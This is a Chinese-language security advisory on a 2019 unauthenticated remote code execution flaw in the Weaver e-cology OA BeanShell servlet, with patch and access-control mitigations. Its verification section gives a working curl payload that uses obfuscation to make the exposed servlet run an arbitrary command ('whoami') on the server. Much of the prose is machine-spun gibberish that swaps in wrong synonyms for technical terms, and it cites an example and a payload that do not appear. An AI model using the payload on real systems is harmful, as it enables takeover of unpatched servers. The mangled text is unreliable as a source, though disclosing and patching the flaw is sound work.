泛微e-cology OA系统远程代码执行缝隙安全公告
颁布功夫 2019-09-20●缝隙编号和级别
CVE编号:暂无,危险级别:高危,CVSS分值:官方未评定
●影响版本
受影响的版本
泛微e-cology<=9.0
●缝隙概述
泛微e-cology OA是国内利用宽泛的OA解决规划。
近日,泛微e-cology OA系统被爆出存在远程代码执行缝隙。该缝隙存在于泛微协同治理当用平台OA系统的BeanShell组件中,该组件为系统自带且允许未授权接见。攻击者通过挪用BeanShell组件的问题接口可直接在指标服务器上执行肆意号令。
问题呈此刻resin下lib中的bsh.jar文件里,问题类bsh.servlet.BshServlet,能够看到doGet步骤从getParameter中接管到一些参数,而后整个Request要求会交给evalScript步骤来进行处置。我们能够看到这个接口没有进行任何权限校验,凭据上述分析的路由,这个处所能够被未授权触发。
跟进evalScript步骤,挪用localInterpreter.eval(paramString);,而 localInterpreter 是 interpreter 事俘化对象。
这里看个bsh用法的例子,下面这个例子执行了局是输出hello:
所以我们能够知路bsh中的eval步骤能够执行一些java代码。
●缝隙验证
缝隙蹊径:/weaver/bsh.servlet.BshServlet
exec("whoami")
curl http://xx.xx.xx.xx.xx/weaver/bsh.servlet.BshServlet/ -d 'bsh.script=eval%00("ex"%2b"ec(\"whoami\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw'
接见http://url/weaver/bsh.servlet.BshServleth输入payload如下:
●建复建议
目前泛微官网颁布了补丁,下载地址:https://www.weaver.com.cn/cs/securityDownload.asp。
一时缓解法子:
1、不容该系统在公网盛开。
2、配置 URL 接见节造战术:
部署于公网的泛微OA系统,可通过 ACL 不容表网对*/*BshServlet/蹊径的接见。
●参考链接
https://www.weaver.com.cn/cs/securityDownload.asp


京公网安备11010802024551号